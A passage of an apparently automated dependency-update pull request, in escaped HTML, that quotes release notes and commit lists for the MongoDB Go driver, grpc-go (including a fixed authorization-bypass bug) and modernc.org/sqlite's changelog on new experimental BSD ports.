href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2381\"\u003emongodb/mongo-go-driver#2381\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3880 Skip QE \u0026quot;prefixPreview\u0026quot; and \u0026quot;suffixPreview\u0026quot; tests on server 9.0.0+. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2378\"\u003emongodb/mongo-go-driver#2378\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3917 Replace curl | sh with go install in etc/golangci-lint.sh by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2391\"\u003emongodb/mongo-go-driver#2391\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3829 Cleanup skip list. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2392\"\u003emongodb/mongo-go-driver#2392\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3884 Use gpg verification for libmongocrypt windows build variant by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2404\"\u003emongodb/mongo-go-driver#2404\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3868 Update extended bson cases. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2400\"\u003emongodb/mongo-go-driver#2400\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3623 Deprecate AggregateOptions Custom functionality as internal-only. by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2411\"\u003emongodb/mongo-go-driver#2411\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMove the 2125 skips to standalone container by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2421\"\u003emongodb/mongo-go-driver#2421\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3904 Add QE string prefix/suffix/substring case and diacritic insensitive prose tests by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2415\"\u003emongodb/mongo-go-driver#2415\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3937 Deprecate x/mongo/driver/session package. by \u003ca href=\"https://github.com/matthewdale\"\u003e\u003ccode\u003e@​matthewdale\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2416\"\u003emongodb/mongo-go-driver#2416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3936 Migrate check_fmt.sh to a Go script under internal/cmd/check-fmt by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2414\"\u003emongodb/mongo-go-driver#2414\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3726 Use unmarshaling for AutoEncryptOpts in the unified spec test by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2413\"\u003emongodb/mongo-go-driver#2413\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMake capitalization of MongoDB Go Driver consistent in the README. by \u003ca href=\"https://github.com/matthewdale\"\u003e\u003ccode\u003e@​matthewdale\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2422\"\u003emongodb/mongo-go-driver#2422\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3113 Skip flaky test in commit.json. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2435\"\u003emongodb/mongo-go-driver#2435\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3559 Skip Docker Runner Tests by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2432\"\u003emongodb/mongo-go-driver#2432\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/softprops\"\u003e\u003ccode\u003e@​softprops\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2364\"\u003emongodb/mongo-go-driver#2364\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2411\"\u003emongodb/mongo-go-driver#2411\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zigzagdev\"\u003e\u003ccode\u003e@​zigzagdev\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2423\"\u003emongodb/mongo-go-driver#2423\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mongodb/mongo-go-driver/compare/v2.6.2...v2.7.0\"\u003ehttps://github.com/mongodb/mongo-go-driver/compare/v2.6.2...v2.7.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eFor a full list of tickets included in this release, please see the \u003ca href=\"https://jira.mongodb.org/issues/?jql=project%3Dgodriver%20and%20fixVersion%3D2.7.0\"\u003elist of fixed issues\u003c/a\u003e.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/7d61ab3563603dd35ba3e0eab2ee0ce544a83dd7\"\u003e\u003ccode\u003e7d61ab3\u003c/code\u003e\u003c/a\u003e BUMP v2.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/d9593db35f17bfb724d5b74436434afcb50f391c\"\u003e\u003ccode\u003ed9593db\u003c/code\u003e\u003c/a\u003e GODRIVER-3559 Skip Docker Runner Tests (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2432\"\u003e#2432\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/6d0f68db630c49d96d09501f9cfa76a64c820241\"\u003e\u003ccode\u003e6d0f68d\u003c/code\u003e\u003c/a\u003e Merge release/2.6 into master (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2437\"\u003e#2437\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/0ff564fdfe1da0829b19a6bc8b1661f63475e814\"\u003e\u003ccode\u003e0ff564f\u003c/code\u003e\u003c/a\u003e Merge branch 'release/2.6'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/867c9b5127c2135ea8b6d8fb7db1814d7ccd8e1e\"\u003e\u003ccode\u003e867c9b5\u003c/code\u003e\u003c/a\u003e BUMP v2.6.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/5b9065941002a19d89557901373c6c9b7db7c95a\"\u003e\u003ccode\u003e5b90659\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into merge-release/2.6-into-master-1781722303033\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/797c020f0833e2213a9b996c87181c19a52c0283\"\u003e\u003ccode\u003e797c020\u003c/code\u003e\u003c/a\u003e GODRIVER-3964: Skip CSE prose tests requiring contention (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2431\"\u003e#2431\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/283aa8ba8ed67be5bfb2c8d6723f06db9e7f604c\"\u003e\u003ccode\u003e283aa8b\u003c/code\u003e\u003c/a\u003e GODRIVER-3113 Skip flaky test in commit.json. (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2435\"\u003e#2435\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/1803b12a7304f1944d84c70531b13e9b348c9627\"\u003e\u003ccode\u003e1803b12\u003c/code\u003e\u003c/a\u003e GODRIVER-3965 fix: misleading error message type info in rewrap function (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2430\"\u003e#2430\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/2995aaf600491c1c11df54263239517b9dc22724\"\u003e\u003ccode\u003e2995aaf\u003c/code\u003e\u003c/a\u003e GODRIVER-3906 Exclude tls.RecordHeaderError from backpressure labels  (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2417\"\u003e#2417\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/mongodb/mongo-go-driver/compare/v2.5.0...v2.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `google.golang.org/grpc` from 1.80.0 to 1.81.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/grpc/grpc-go/releases\"\u003egoogle.golang.org/grpc's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 1.81.1\u003c/h2\u003e\n\u003ch1\u003eSecurity\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003exds/rbac: Fix a potential authorization bypass caused by incorrectly falling through URI/DNS SANs to Subject Distinguished Name (DN) when matching the authenticated principal name. With this fix, only the first non-empty identity source will be used, as per \u003ca href=\"https://github.com/grpc/proposal/blob/master/A41-xds-rbac.md\"\u003egRFC A41\u003c/a\u003e. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9111\"\u003e#9111\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eSpecial Thanks: \u003ca href=\"https://github.com/al4an444\"\u003e\u003ccode\u003e@​al4an444\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eBug Fixes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eotel: Segregate client and server RPC information used for metrics and traces, to avoid one overwriting the other. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9081\"\u003e#9081\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRelease 1.81.0\u003c/h2\u003e\n\u003ch1\u003eBehavior Changes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003ebalancer/rls: Switch gauge metrics to asynchronous emission (once per collection cycle) to reduce telemetry noise and align with other gRPC language implementations. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8808\"\u003e#8808\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eDependencies\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eMinimum supported Go version is now 1.25. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8969\"\u003e#8969\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eBug Fixes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003exds: Use the leaf cluster's security config for the TLS handshake instead of the aggregate cluster's config. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8956\"\u003e#8956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etransport: Send a \u003ccode\u003eRST_STREAM\u003c/code\u003e when receiving an \u003ccode\u003eEND_STREAM\u003c/code\u003e when the stream is not already half-closed. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8832\"\u003e#8832\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003exds: Fix ADS resource name validation to prevent a panic. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8970\"\u003e#8970\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eNew Features\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003egrpc/stats: Add support for custom labels in per-call metrics (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A108-otel-custom-per-call-label.md\"\u003egRFC A108\u003c/a\u003e). (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9008\"\u003e#9008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003exds: Add support for Server Name Indication (SNI) and SAN validation (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A101-SNI-setting-and-SNI-SAN-validation.md\"\u003egRFC A101\u003c/a\u003e). Disabled by default. To enable, set \u003ccode\u003eGRPC_EXPERIMENTAL_XDS_SNI=true\u003c/code\u003e environment variable. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9016\"\u003e#9016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003exds: Add support to control which fields get propagated from ORCA backend metric reports to LRS load reports (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A85-lrs-custom-metrics-changes.md\"\u003egRFC A85\u003c/a\u003e). Disabled by default. To enable, set \u003ccode\u003eGRPC_EXPERIMENTAL_XDS_ORCA_LRS_PROPAGATION=true\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9005\"\u003e#9005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003exds: Add metrics to track xDS client connectivity and cached resource state (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A78-grpc-metrics-wrr-pf-xds.md\"\u003egRFC A78\u003c/a\u003e). (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8807\"\u003e#8807\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estats/otel: Enhance \u003ccode\u003egrpc.subchannel.disconnections\u003c/code\u003e metric by adding disconnection reason to the \u003ccode\u003egrpc.disconnect_error\u003c/code\u003e label (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A94-subchannel-otel-metrics.md\"\u003egRFC A94\u003c/a\u003e). This provides granular insights into why subchannels are closing. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8973\"\u003e#8973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emem: Add \u003ccode\u003emem.Buffer.Slice()\u003c/code\u003e API to slice the buffer like a slice. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8977\"\u003e#8977\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eSpecial Thanks: \u003ca href=\"https://github.com/ash2k\"\u003e\u003ccode\u003e@​ash2k\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003ePerformance Improvements\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003ealts: Pool read buffers to lower memory utilization when sockets are unreadable. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8964\"\u003e#8964\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etransport: Pool HTTP/2 framer read buffers to reduce idle memory consumption. Currently limited to Linux for ALTS and non-encrypted transports (TCP, Unix). To disable, set \u003ccode\u003eGRPC_GO_EXPERIMENTAL_HTTP_FRAMER_READ_BUFFER_POOLING=false\u003c/code\u003e and report any issues. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9032\"\u003e#9032\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/caf0772c2bcb8bc15d43eb53448e921f34f0b7e8\"\u003e\u003ccode\u003ecaf0772\u003c/code\u003e\u003c/a\u003e Change version from 1.81.1-dev to 1.81.1 (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9122\"\u003e#9122\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/6ccbeebf058ede71e43a5ac28fada2a736573215\"\u003e\u003ccode\u003e6ccbeeb\u003c/code\u003e\u003c/a\u003e Cherry-pick \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9111\"\u003e#9111\u003c/a\u003e into v1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9121\"\u003e#9121\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/b33c29e41b438e371c8504de9bdf64a80098cc29\"\u003e\u003ccode\u003eb33c29e\u003c/code\u003e\u003c/a\u003e Cherry-pick \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9081\"\u003e#9081\u003c/a\u003e into v1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9102\"\u003e#9102\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/c45fae6d06a5c192b7b96418a2bc26a96b856834\"\u003e\u003ccode\u003ec45fae6\u003c/code\u003e\u003c/a\u003e Change version to 1.81.1-dev (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9063\"\u003e#9063\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/cb18228317ff523e63d931b4058b0329585b7dcd\"\u003e\u003ccode\u003ecb18228\u003c/code\u003e\u003c/a\u003e Change version to 1.81.0 (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9062\"\u003e#9062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/96748f973e20bbfcafa19a8bdffc85ad5da138d1\"\u003e\u003ccode\u003e96748f9\u003c/code\u003e\u003c/a\u003e Cherry-pick \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9105\"\u003e#9105\u003c/a\u003e to 1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9106\"\u003e#9106\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/91832222f0144f76527b630ca55cfea6e1aa015a\"\u003e\u003ccode\u003e9183222\u003c/code\u003e\u003c/a\u003e Cherry pick \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9055\"\u003e#9055\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9032\"\u003e#9032\u003c/a\u003e to v1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9095\"\u003e#9095\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/5cba6da4211f3b130238c792937f5921741b616a\"\u003e\u003ccode\u003e5cba6da\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;deps: update dependencies for all modules (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9065\"\u003e#9065\u003c/a\u003e)\u0026quot; (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9067\"\u003e#9067\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/af8a9364aa7523ab24d214e9ef13e6ad64d5c5f9\"\u003e\u003ccode\u003eaf8a936\u003c/code\u003e\u003c/a\u003e deps: update dependencies for all modules (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9065\"\u003e#9065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/cdc60dfaaadde45e16aa3c28237c0e655a722c1a\"\u003e\u003ccode\u003ecdc60df\u003c/code\u003e\u003c/a\u003e transport: optimize heap allocations in ready reader and update syscall conne...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/grpc/grpc-go/compare/v1.80.0...v1.81.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `modernc.org/sqlite` from 1.46.1 to 1.53.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://gitlab.com/cznic/sqlite/blob/master/CHANGELOG.md\"\u003emodernc.org/sqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e2026-06-25 v1.54.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUnder the opt-in \u003ccode\u003e_texttotime\u003c/code\u003e DSN parameter, best-effort parse date-shaped TEXT values from columns SQLite reports with an empty declared type — aggregates and expressions over a date column (\u003ccode\u003eMAX(d)\u003c/code\u003e, \u003ccode\u003eCOALESCE(d, ...)\u003c/code\u003e, \u003ccode\u003eupper(d)\u003c/code\u003e, \u003ccode\u003ed || ''\u003c/code\u003e), subqueries, and typeless real columns (\u003ccode\u003eCREATE TABLE t(x)\u003c/code\u003e) — into \u003ccode\u003etime.Time\u003c/code\u003e, instead of delivering them as a raw string that \u003ccode\u003eScan\u003c/code\u003e cannot store into a \u003ccode\u003e*time.Time\u003c/code\u003e. The existing declared \u003ccode\u003eDATE\u003c/code\u003e/\u003ccode\u003eDATETIME\u003c/code\u003e/\u003ccode\u003eTIME\u003c/code\u003e/\u003ccode\u003eTIMESTAMP\u003c/code\u003e path is unchanged; this only adds the empty-decltype case. The conversion is strictly best-effort: a value that does not parse as a time falls through to the original string, so no \u003ccode\u003eScan\u003c/code\u003e that worked before can newly fail. \u003ccode\u003eColumnTypeScanType\u003c/code\u003e continues to report \u003ccode\u003estring\u003c/code\u003e for empty-decltype columns, since the declared type cannot prove the column is temporal. Without \u003ccode\u003e_texttotime\u003c/code\u003e the behavior is byte-for-byte unchanged. Resolves [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/248\"\u003e#248\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/248\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/248\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/133\"\u003e#133\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/133\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/133\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-06-21 v1.53.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003cstrong\u003eexperimental\u003c/strong\u003e \u003ccode\u003enetbsd/amd64\u003c/code\u003e support, resolving the long-standing build break in [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/246\"\u003e#246\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/246\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/246\u003c/a\u003e). This target is intentionally \u003cstrong\u003enot yet listed among the supported platforms\u003c/strong\u003e in the package documentation: the port had been broken for years and is only now revived, and there is as yet no real-world experience running it under production workloads. Green CI is not the same as battle-tested — so while the full test suite (including the \u003ccode\u003epcache\u003c/code\u003e and \u003ccode\u003evec\u003c/code\u003e packages and the \u003ccode\u003e-race\u003c/code\u003e concurrency test) passes on NetBSD 10.1 / Go 1.26.3, and the entire upstream toolchain (\u003ccode\u003elibc\u003c/code\u003e, \u003ccode\u003ecc\u003c/code\u003e, \u003ccode\u003eccgo\u003c/code\u003e, \u003ccode\u003elibz\u003c/code\u003e, \u003ccode\u003elibtcl8.6\u003c/code\u003e, \u003ccode\u003elibsqlite3\u003c/code\u003e, \u003ccode\u003elibsqlite_vec\u003c/code\u003e) is green on the NetBSD CI builder, the target is offered for evaluation only. If you run NetBSD, please exercise it with your own workloads and report back via \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/246\"\u003e#246\u003c/a\u003e; the intent is to promote it to a fully supported platform after a period of broader real-world testing (on the order of a month) elapses without surprises.\u003c/li\u003e\n\u003cli\u003eImplementation notes: the previously shipped \u003ccode\u003elib/sqlite_netbsd_amd64.go\u003c/code\u003e was a stale old-generator transpile that no longer compiled (the \u003ccode\u003emu.enter\u003c/code\u003e/\u003ccode\u003emu.leave\u003c/code\u003e break in \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/246\"\u003e#246\u003c/a\u003e); it is replaced by a fresh new-generator transpile consistent with every other platform, and \u003ccode\u003emodernc.org/sqlite/vec\u003c/code\u003e (sqlite-vec) is vendored and auto-registers on netbsd. Correct operation requires the matching pinned \u003ccode\u003emodernc.org/libc\u003c/code\u003e, which carries two NetBSD-specific fixes found during this work: the \u003ccode\u003emmap(2)\u003c/code\u003e \u003ccode\u003ePAD\u003c/code\u003e-argument ABI (without it, concurrent WAL access faults with SIGBUS in the WAL-index shared memory) and a working \u003ccode\u003eabort(3)\u003c/code\u003e (the prior stub left SQLite's crash-recovery \u003ccode\u003ewritecrash\u003c/code\u003e test unable to terminate by signal). As usual, downstream modules must pin the exact \u003ccode\u003emodernc.org/libc\u003c/code\u003e version this module's \u003ccode\u003ego.mod\u003c/code\u003e pins.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/82\"\u003e#82\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/82\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/82\u003c/a\u003e), thanks Leonardo Taccari (\u003ca href=\"https://github.com/iamleot\"\u003e\u003ccode\u003e@​iamleot\u003c/code\u003e\u003c/a\u003e) and Thomas Klausner (@\u003cem\u003ewiz\u003c/em\u003e)!\u003c/li\u003e\n\u003cli\u003eAdd \u003cstrong\u003eexperimental\u003c/strong\u003e \u003ccode\u003efreebsd/386\u003c/code\u003e and \u003ccode\u003efreebsd/arm\u003c/code\u003e support. As with the \u003ccode\u003enetbsd/amd64\u003c/code\u003e target above, these two 32-bit FreeBSD ports are intentionally \u003cstrong\u003enot yet listed among the supported platforms\u003c/strong\u003e in the package documentation: \u003ccode\u003efreebsd/386\u003c/code\u003e previously shipped a stale, effectively untested SQLite 3.41 transpile, and \u003ccode\u003efreebsd/arm\u003c/code\u003e is entirely new, so neither has real-world production mileage yet. Both are now freshly transpiled at SQLite 3.53.2 consistent with every other platform, build cleanly, and pass the full test suite (core, WAL/concurrency, and the \u003ccode\u003evec\u003c/code\u003e package) on the FreeBSD CI builders; they are offered for evaluation only. If you run 32-bit FreeBSD, please exercise these targets with your own workloads and report back — the intent is to promote \u003ccode\u003efreebsd/386\u003c/code\u003e, \u003ccode\u003efreebsd/arm\u003c/code\u003e, and \u003ccode\u003enetbsd/amd64\u003c/code\u003e to fully supported platforms in a future release cycle, once a period of broader real-world testing elapses without surprises.\u003c/li\u003e\n\u003cli\u003eImplementation notes: correct operation on \u003ccode\u003efreebsd/arm\u003c/code\u003e requires the matching pinned \u003ccode\u003emodernc.org/libc\u003c/code\u003e (v1.73.4), which fixes the per-arch \u003ccode\u003emmap(2)\u003c/code\u003e \u003ccode\u003eoff_t\u003c/code\u003e encoding for 32-bit FreeBSD; without it the WAL shared-memory mapping faults with SIGBUS under concurrent access, the same class of bug found on the netbsd port. As usual, downstream modules must pin the exact \u003ccode\u003emodernc.org/libc\u003c/code\u003e version this module's \u003ccode\u003ego.mod\u003c/code\u003e 